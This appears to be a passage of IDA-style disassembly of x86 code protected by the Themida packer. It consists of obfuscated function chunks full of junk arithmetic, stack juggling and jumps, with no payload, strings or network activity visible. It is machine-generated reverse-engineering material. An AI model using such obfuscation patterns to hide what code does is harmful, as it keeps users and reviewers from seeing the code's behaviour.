		jmp	loc_570F25
; END OF FUNCTION CHUNK	FOR sub_569A84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566C83


loc_568AD9:				; CODE XREF: sub_566C83+4782j
		push	2D3C3F28h
		pop	eax
		and	eax, 6E86C61h
		add	eax, 0C052AFAh
		mov	esi, eax
		jmp	loc_56211C
; END OF FUNCTION CHUNK	FOR sub_566C83
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566078


loc_568AF0:				; CODE XREF: sub_566078+2799j
		add	esp, 4
		jmp	loc_567310
; END OF FUNCTION CHUNK	FOR sub_566078
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AEF2


loc_568AF8:				; CODE XREF: sub_56AEF2+38EEj
		add	ah, 56h
		shr	ah, 2
		xor	ah, 5Ch
		jmp	loc_56CE5C
; END OF FUNCTION CHUNK	FOR sub_56AEF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5620B7


loc_568B06:				; CODE XREF: sub_5620B7+E27Fj
		push	ecx
		mov	ch, dl
		mov	al, ch
		jmp	loc_572391
; END OF FUNCTION CHUNK	FOR sub_5620B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567D31


loc_568B10:				; CODE XREF: sub_567D31+9BB0j
		or	esi, 2C8449C6h
		xor	esi, 8785DE6Fh
		add	ebx, esi
		pop	esi
		push	ebx
		jmp	loc_573252
; END OF FUNCTION CHUNK	FOR sub_567D31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574896


loc_568B25:				; CODE XREF: sub_574896-1A9Bj
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_574896
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_568B2A:				; CODE XREF: sub_564D26+3A78j
		pop	esp
		push	edi
		not	[esp+20h+var_20]
		pop	edi
		jmp	loc_56A248
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569AB3


loc_568B35:				; CODE XREF: sub_569AB3+6j
		shl	ebp, 7
		xor	ebp, 1AD92B5Fh
		sub	ebp, 0C6C88632h
		mov	ecx, ebp
		jmp	loc_56B708
; END OF FUNCTION CHUNK	FOR sub_569AB3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574304


loc_568B4B:				; CODE XREF: sub_574304-2ED2j
		mov	esi, 1
		jmp	sub_570FB7
; END OF FUNCTION CHUNK	FOR sub_574304
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56858D


loc_568B55:				; CODE XREF: sub_56858D+2269j
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_56858D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5687A3


loc_568B5A:				; CODE XREF: sub_5687A3+ABC7j
		mov	[esp+8+var_8], ebx
		mov	ebx, 61C90BCCh
		push	3E07549Bh
		push	[esp+0Ch+var_C]
		pop	ecx
		jmp	loc_56E840
; END OF FUNCTION CHUNK	FOR sub_5687A3
; ---------------------------------------------------------------------------


loc_568B70:				; CODE XREF: Themida_:00561FEBj
		sub	[esp], al
		pushf
		jmp	loc_55FF9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_568B79:				; CODE XREF: sub_561418+D26Ej
		add	esp, 4
		sub	ecx, 332B3CCAh
		jmp	loc_56FD47
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5747FA


loc_568B87:				; CODE XREF: sub_5747FA-140D1j
		pop	ebx
		xor	edi, 0E809B0E5h
		jmp	loc_5603F3
; END OF FUNCTION CHUNK	FOR sub_5747FA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574AF3


loc_568B93:				; CODE XREF: sub_574AF3-1EF2j
		push	4AA3h
		mov	[esp+8+var_8], edi
		mov	edi, 4
		sub	ecx, 0C0C52B4h
		add	ecx, edi
		add	ecx, 0C0C52B4h
		pop	edi
		push	65D6h
		mov	[esp+8+var_8], ecx
		push	[esp+8+var_4]
		pop	ecx
		jmp	loc_56AF63
; END OF FUNCTION CHUNK	FOR sub_574AF3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564B5A


loc_568BC1:				; CODE XREF: sub_564B5A+6j
		mov	[esp+4+var_4], eax
		jmp	sub_56B310
; END OF FUNCTION CHUNK	FOR sub_564B5A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AEF2


loc_568BC9:				; CODE XREF: sub_56AEF2+6ADEj
		add	bl, 64h
		push	eax
		mov	al, 50h
		jmp	loc_570C54
; END OF FUNCTION CHUNK	FOR sub_56AEF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57236D


loc_568BD4:				; CODE XREF: sub_57236D-BC86j
		mov	esp, [esp+0]
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_57236D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571890


loc_568BDC:				; CODE XREF: sub_571890-691Fj
		sub	eax, ecx
		pop	ecx
		add	eax, ebx
		add	eax, 75C1EE1h
		pop	ebx
		add	eax, 2
		xchg	eax, [esp-8+arg_4]
		mov	esp, [esp-8+arg_4]
		mov	ax, [esp-10h+arg_C]
		push	ecx
		mov	ecx, esp
		push	ebp
		push	ebx
		mov	ebx, 3FE567DDh
		mov	ebp, 4F97968Ch
		sub	ebp, ebx
		mov	ebx, [esp-4+arg_0]
		add	esp, 4
		push	eax
		mov	eax, 0F04DD155h
		push	esi
		jmp	loc_568466
; END OF FUNCTION CHUNK	FOR sub_571890
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574656


loc_568C19:				; CODE XREF: sub_574656-C25j
		shl	edi, 4
		sub	edi, 0C2EFC0C8h
		sub	ebx, edi
		pop	edi
		mov	edi, ebx
		mov	ebx, [esp+8+var_8]
		jmp	loc_567812
; END OF FUNCTION CHUNK	FOR sub_574656
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560D31


loc_568C2F:				; CODE XREF: sub_560D31+FDDBj
		add	ebp, 2
		xchg	ebp, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		push	ebx
		push	754Dh
		mov	[esp+4+var_4], ecx
		mov	ch, dl
		push	edx
		mov	dl, ch
		mov	bl, dl
		pop	edx
		mov	ecx, [esp+4+var_4]
		add	esp, 4
		push	3A70h
		mov	[esp+4+var_4], edx
		sub	esp, 4
		mov	[esp+0], eax
		jmp	loc_56392A
; END OF FUNCTION CHUNK	FOR sub_560D31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561541


loc_568C62:				; CODE XREF: sub_561541+E5B7j
		mov	esi, 23C84081h
		and	ecx, esi
		pop	esi
		or	ecx, 62E30F57h
		jmp	loc_56DBEF
; END OF FUNCTION CHUNK	FOR sub_561541
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5620B7


loc_568C75:				; CODE XREF: sub_5620B7-125Ej
		push	6723h
		mov	[esp+14h+var_14], esi
		jmp	loc_56E434
; END OF FUNCTION CHUNK	FOR sub_5620B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566DC7


loc_568C82:				; CODE XREF: sub_566DC7-880j
		push	esp
		jmp	loc_569FD6
; END OF FUNCTION CHUNK	FOR sub_566DC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5648C6


loc_568C88:				; CODE XREF: sub_5648C6+D943j
		push	ecx
		jmp	loc_56D07A
; END OF FUNCTION CHUNK	FOR sub_5648C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57146D


loc_568C8E:				; CODE XREF: sub_57146D-C920j
		inc	ah
		sub	ah, 0B9h
		mov	bl, ah
		pop	eax
		push	7B78h
		mov	[esp+0Ch+var_C], eax
		mov	al, bl
		push	ecx
		mov	cl, al
		mov	dl, cl
		mov	ecx, [esp+10h+var_10]
		add	esp, 4
		jmp	loc_565B5B
; END OF FUNCTION CHUNK	FOR sub_57146D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574A21


loc_568CB3:				; CODE XREF: sub_574A21-12CF3j
		push	0FD8h
		mov	[esp+4+var_4], ebp
		mov	ebp, 6DCF4C98h
		jmp	loc_56ED61
; END OF FUNCTION CHUNK	FOR sub_574A21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FB8A


loc_568CC5:				; CODE XREF: sub_56FB8A-3F2Ej
		neg	edi
		sub	edi, 32291B54h
		jmp	loc_571B81
; END OF FUNCTION CHUNK	FOR sub_56FB8A

; =============== S U B	R O U T	I N E =======================================



sub_568CD2	proc near		; CODE XREF: sub_57549C-1ACCj

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00561618 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00561CCE SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00566DCD SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005671DB SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005676A5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00571660 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00572054 SIZE 00000011 BYTES

		push	ebx
		mov	ebx, 52561B11h
		sub	ecx, 1E273D8h
		add	ecx, ebx
		add	ecx, 1E273D8h
		jmp	loc_5671DB
sub_568CD2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AB93


loc_568CEB:				; CODE XREF: sub_56AB93+9B49j
		mov	ecx, 4
		sub	esi, 54AD5B3Eh
		add	esi, ecx
		add	esi, 54AD5B3Eh
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		jmp	loc_562D7E
; END OF FUNCTION CHUNK	FOR sub_56AB93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570E81


loc_568D09:				; CODE XREF: sub_570E81+391Fj
		add	ebp, edx
		pop	edx
		jmp	loc_56CCA3
; END OF FUNCTION CHUNK	FOR sub_570E81
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E126


loc_568D11:				; CODE XREF: sub_56E126-4CF3j
		shl	ecx, 3
		push	eax
		mov	eax, 588A7D06h
		sub	eax, 32164899h
		add	ecx, eax
		jmp	loc_563881
; END OF FUNCTION CHUNK	FOR sub_56E126
; ---------------------------------------------------------------------------


loc_568D26:				; CODE XREF: Themida_:005675EAj
		add	esp, 4
		jmp	loc_56114E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C48D


loc_568D31:				; CODE XREF: sub_56C48D+45j
		pop	ecx
		push	esi
		jmp	sub_568E5C
; END OF FUNCTION CHUNK	FOR sub_56C48D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564EBE


loc_568D38:				; CODE XREF: sub_564EBE+3j
		mov	[esp+4+var_4], edi
		mov	edi, esp
		jmp	loc_56275E
; END OF FUNCTION CHUNK	FOR sub_564EBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570732


loc_568D42:				; CODE XREF: sub_570732-7EDEj
		mov	edx, eax
		mov	eax, [esp+4+var_4]
		jmp	loc_561D7F
; END OF FUNCTION CHUNK	FOR sub_570732
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572075


loc_568D4C:				; CODE XREF: sub_572075-8700j
		sub	esi, 3F360BC1h
		add	esi, ecx
		add	esi, 3F360BC1h
		pop	ecx
		add	ecx, esi
		pop	esi
		push	ebp
		mov	ebp, 4
		jmp	loc_56C677
; END OF FUNCTION CHUNK	FOR sub_572075
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571289


loc_568D69:				; CODE XREF: sub_571289-450Cj
		neg	eax
		not	eax
		shl	eax, 8
		xor	eax, 1971CC33h
		jmp	loc_561D95
; END OF FUNCTION CHUNK	FOR sub_571289
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560C12


loc_568D7A:				; CODE XREF: sub_560C12+3A62j
		pop	edi
		add	esp, 4
		push	77DAh
		mov	[esp+0], ebx
		mov	ebx, 4
		jmp	loc_561281
; END OF FUNCTION CHUNK	FOR sub_560C12

; =============== S U B	R O U T	I N E =======================================



sub_568D93	proc near		; CODE XREF: sub_5680F2+2F30j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0056303E SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00564BF8 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0056D2E5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056F076 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00572944 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00573132 SIZE 00000009 BYTES

		push	ebp
		mov	ebp, 122D0C75h
		jmp	loc_56D2E5
sub_568D93	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_568D9E	proc near		; CODE XREF: sub_565CB7+6j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00564AE1 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0056A5CB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056A8C2 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0056C589 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005707DC SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005716A6 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00573D6E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0057475F SIZE 00000015 BYTES

		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_573D6E
sub_568D9E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572141


loc_568DB2:				; CODE XREF: sub_572141-9E40j
		add	esp, 4
		jmp	loc_572100
; END OF FUNCTION CHUNK	FOR sub_572141
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AEF2


loc_568DBD:				; CODE XREF: sub_56AEF2+620j
		push	esp
		pop	eax
		add	eax, 4
		push	4CF2h
		mov	[esp-0Ch+arg_8], ecx
		push	esi
		mov	esi, 181A1B95h
		jmp	loc_5645E7
; END OF FUNCTION CHUNK	FOR sub_56AEF2

; =============== S U B	R O U T	I N E =======================================



sub_568DD7	proc near		; CODE XREF: sub_566117+CD5Dj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00564DAE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00572323 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00572448 SIZE 00000012 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edx
		mov	edx, 1C6520A1h
		xor	edx, 0ACB1067h
		neg	edx
		dec	edx
		xor	edx, 768C568Ah
		not	edx
		xor	edx, 19447644h
		sub	esi, 190B5770h
		sub	esi, edx
		add	esi, 190B5770h
		pop	edx
		add	ebp, esi
		jmp	loc_572323
sub_568DD7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57549C


loc_568E12:				; CODE XREF: sub_57549C-236Fj
		pop	ebp
		jmp	loc_57168C
; END OF FUNCTION CHUNK	FOR sub_57549C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563A7F


loc_568E18:				; CODE XREF: sub_563A7F+DCCEj
		xor	cl, 28h
		shr	cl, 1
		push	ebx
		jmp	loc_56CFA7
; END OF FUNCTION CHUNK	FOR sub_563A7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563819


loc_568E23:				; CODE XREF: sub_563819+E54Dj
		sub	edi, ebx
		pop	ebx
		sub	esi, edi
		jmp	loc_5734FB
; END OF FUNCTION CHUNK	FOR sub_563819
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_568E2D:				; CODE XREF: sub_561418+5F0Ej
		mov	edi, 0A045CE5Dh
		jmp	loc_574477
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574F16


loc_568E37:				; CODE XREF: sub_574F16-709Cj
		mov	esp, [esp+6+var_6]
		jmp	loc_56C618
; END OF FUNCTION CHUNK	FOR sub_574F16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5726FB


loc_568E3F:				; CODE XREF: sub_5726FB-FF5Fj
		add	esp, 4
		and	[edi+1Ch], ecx
		jmp	loc_5607AA
; END OF FUNCTION CHUNK	FOR sub_5726FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B06D


loc_568E4D:				; CODE XREF: sub_56B06D-1B34j
		mov	[esp+18h+var_18], edi
		add	[esp+18h+var_18], 31D436B5h
		jmp	loc_56F629
; END OF FUNCTION CHUNK	FOR sub_56B06D

; =============== S U B	R O U T	I N E =======================================



sub_568E5C	proc near		; CODE XREF: sub_56C48D-375Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0056043C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00560BA0 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00561720 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005622B9 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 005624FE SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005632A5 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00564556 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005646B6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00564894 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00564D7A SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00565774 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00565D4E SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00566D54 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00566E19 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005679F8 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005688CF SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056A9BD SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056B5E0 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056C127 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056D50D SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056D9CA SIZE 00000032 BYTES
; FUNCTION CHUNK AT 0056E02C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056F187 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056F982 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005706B5 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005707C4 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005714E0 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00571C49 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00571D43 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0057352C SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005738AC SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00574D22 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00574E3E SIZE 00000008 BYTES

		sub	esp, 4
		jmp	loc_571C49
sub_568E5C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E96D


loc_568E67:				; CODE XREF: sub_56E96D+2335j
		add	esp, 4
		add	ebx, 6A0137EEh
		xor	ebx, 3D095B93h
		push	ecx
		mov	ecx, 1F983012h
		sub	ecx, 3804464Dh
		shr	ecx, 7
		and	ecx, 2A407362h
		sub	ecx, 0E7E22144h
		add	ebx, ecx
		pop	ecx
		jmp	loc_5688D9
; END OF FUNCTION CHUNK	FOR sub_56E96D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566B37


loc_568E99:				; CODE XREF: sub_566B37+C1E0j
		pop	esp
		neg	ebp
		xchg	eax, ebp
		push	0F71h
		jmp	loc_560385
; END OF FUNCTION CHUNK	FOR sub_566B37
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B11B


loc_568EA7:				; CODE XREF: sub_56B11B+323Aj
		xchg	ecx, [esp+4+var_4]
		pop	esp
		mov	[esp+0], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_563012
; END OF FUNCTION CHUNK	FOR sub_56B11B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_573876


loc_568EBB:				; CODE XREF: sub_573876-EB6Aj
		add	esp, 4
		sub	[esp+arg_4], ebx
		pop	ebx
		pop	eax
		pop	dword ptr [edi+40h]
		push	ecx
		mov	ecx, 288E1D9Fh
		jmp	loc_56463B
; END OF FUNCTION CHUNK	FOR sub_573876
; ---------------------------------------------------------------------------


loc_568ED5:				; CODE XREF: Themida_:00569179j
		mov	ebx, esp
		push	eax
		mov	eax, 42483232h
		add	eax, 207B4005h
		dec	eax
		neg	eax
		xor	eax, 23F25896h
		sub	eax, 0BECED558h
		jmp	loc_570A55
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56F1DB


loc_568EF4:				; CODE XREF: sub_56F1DB-C410j
		dec	ebp
		add	ebp, 0FFFFFFFFh
		shr	ebp, 3
		jmp	loc_56FE40
; END OF FUNCTION CHUNK	FOR sub_56F1DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571C0A


loc_568F03:				; CODE XREF: sub_571C0A-B01Dj
		mov	edi, esp
		add	edi, 4
		jmp	loc_56888C
; END OF FUNCTION CHUNK	FOR sub_571C0A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FCD7


loc_568F10:				; CODE XREF: sub_56FCD7+40B4j
		xchg	ecx, [esp+10h+var_10]
		pop	esp
		mov	[esp+0Ch+var_C], edi
		mov	edi, 4
		jmp	loc_5676AD
; END OF FUNCTION CHUNK	FOR sub_56FCD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566078


loc_568F21:				; CODE XREF: sub_566078+129Bj
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+4+var_4]
		pop	esp
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+4+var_4]
		pop	esp
		mov	[esp+0], ebx
		jmp	sub_5747D7
; END OF FUNCTION CHUNK	FOR sub_566078
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B06D


loc_568F46:				; CODE XREF: sub_56B06D+7D32j
		push	esi
		mov	esi, 7FD92608h
		sub	[esp+1Ch+var_14], esi
		mov	esi, [esp+1Ch+var_1C]
		push	ebp
		jmp	loc_57114E
; END OF FUNCTION CHUNK	FOR sub_56B06D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_573167


loc_568F59:				; CODE XREF: sub_573167-DE0Bj
		pop	ebx
		pop	[esp+4+var_4]
		mov	esp, [esp+0]
		imul	ecx, eax
		push	ecx
		pushf
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_573167
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C38F


loc_568F6A:				; CODE XREF: sub_56C38F+3417j
		sub	eax, 2D15B7h
		push	edx
		push	ebx
		mov	ebx, 505D6179h
		jmp	sub_5643EB
; END OF FUNCTION CHUNK	FOR sub_56C38F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56351E


loc_568F7B:				; CODE XREF: sub_56351E+210j
		shr	edi, 4
		jmp	sub_566DFE
; END OF FUNCTION CHUNK	FOR sub_56351E

; =============== S U B	R O U T	I N E =======================================



sub_568F83	proc near		; CODE XREF: sub_568D93+62E8j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00562DBB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056BD9E SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056DA73 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005737A2 SIZE 00000017 BYTES

		push	ebx
		mov	ebx, 706B7832h
		and	ebx, 371E1545h
		shl	ebx, 2
		jmp	loc_56BD9E
sub_568F83	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_568F97:				; CODE XREF: Themida_:005644CBj
		mov	[esp], eax
		push	3C0Ah
		mov	[esp], esp
		jmp	loc_5609DD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5747D7


loc_568FA7:				; CODE XREF: sub_5747D7-42ACj
		pop	edx
		xor	ebx, [esp+0]
		jmp	loc_56E8F5
; END OF FUNCTION CHUNK	FOR sub_5747D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574304


loc_568FB0:				; CODE XREF: sub_574304-EDCFj
		mov	esp, [esp+0]
		push	5EDAh
		mov	[esp+0], edi
		push	7A050C04h
		pop	edi
		push	1D13h
		mov	[esp+4+var_4], ecx
		push	esi
		push	701C57B7h
		pop	esi
		push	edx
		push	ebp
		jmp	loc_574E2A
; END OF FUNCTION CHUNK	FOR sub_574304
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565632


loc_568FD7:				; CODE XREF: sub_565632+B34Cj
		add	edi, ecx
		jmp	loc_56A99B
; END OF FUNCTION CHUNK	FOR sub_565632
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5734A7


loc_568FDE:				; CODE XREF: sub_5734A7-CD34j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+1Ch+var_1C]
		mov	esp, [esp+1Ch+var_1C]
		pop	[esp+4+var_4]
		mov	esp, [esp+0]
		jmp	sub_56AE4B
; END OF FUNCTION CHUNK	FOR sub_5734A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56657A


loc_568FFA:				; CODE XREF: sub_56657A-566Bj
		mov	esp, [esp-4+arg_0]
		mov	word ptr [esp-4+arg_0],	cx
		jmp	loc_5752BB
; END OF FUNCTION CHUNK	FOR sub_56657A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571F6F


loc_569006:				; CODE XREF: sub_571F6F-1F2Aj
		sub	bl, ah
		mov	eax, [esp+0Eh+var_E]
		jmp	loc_566C11
; END OF FUNCTION CHUNK	FOR sub_571F6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_569010:				; CODE XREF: sub_561418+DA31j
		add	ecx, 440D019Ch
		jmp	loc_56DC40
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_573167


loc_56901B:				; CODE XREF: sub_573167-DE79j
		push	esi
		sub	esp, 4
		jmp	loc_565DA0
; END OF FUNCTION CHUNK	FOR sub_573167
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5692D3


loc_569024:				; CODE XREF: sub_5692D3+9283j
		add	esp, 4
		sub	esp, 4
		mov	[esp+8+var_8], edi
		push	ecx
		push	edx
		mov	edx, 2B022D24h
		push	eax
		mov	eax, 1DA85C1Dh
		add	eax, 0FCB11A8Dh
		or	edx, eax
		pop	eax
		xor	edx, 2B2F1154h
		mov	ecx, edx
		jmp	loc_567F36
; END OF FUNCTION CHUNK	FOR sub_5692D3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574949


loc_569055:				; CODE XREF: sub_574949+15j
		xor	dh, 78h
		sub	ch, dh
		jmp	loc_570024
; END OF FUNCTION CHUNK	FOR sub_574949
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574FC9


loc_56905F:				; CODE XREF: sub_574FC9-8F06j
		pop	edx
		add	edi, 4
		jmp	loc_560F50
; END OF FUNCTION CHUNK	FOR sub_574FC9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56616D


loc_56906B:				; CODE XREF: sub_56616D-2B47j
		push	[esp-14h+arg_10]
		pop	edx
		sub	esp, 4
		jmp	loc_56ADA2
; END OF FUNCTION CHUNK	FOR sub_56616D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FAE2


loc_56907A:				; CODE XREF: sub_56FAE2-A146j
		sub	edx, eax
		pop	eax
		add	ebx, edx
		pop	edx
		add	ebx, 64E64E03h
		sub	ebx, ebp
		sub	ebx, 64E64E03h
		sub	ebx, 6317220h
		jmp	loc_572412
; END OF FUNCTION CHUNK	FOR sub_56FAE2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570B3C


loc_569099:				; CODE XREF: sub_570B3C-94AFj
		push	7C39h
		jmp	loc_56DF06
; END OF FUNCTION CHUNK	FOR sub_570B3C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572DD7


loc_5690A3:				; CODE XREF: sub_572DD7-A3B1j
		dec	eax
		add	eax, 0ADE10BF1h
		mov	edx, eax
		mov	eax, [esp+0Ch+var_C]
		add	esp, 4
		sub	eax, edx
		pop	edx
		add	edi, eax
		pop	eax
		push	esi
		jmp	loc_566B0E
; END OF FUNCTION CHUNK	FOR sub_572DD7
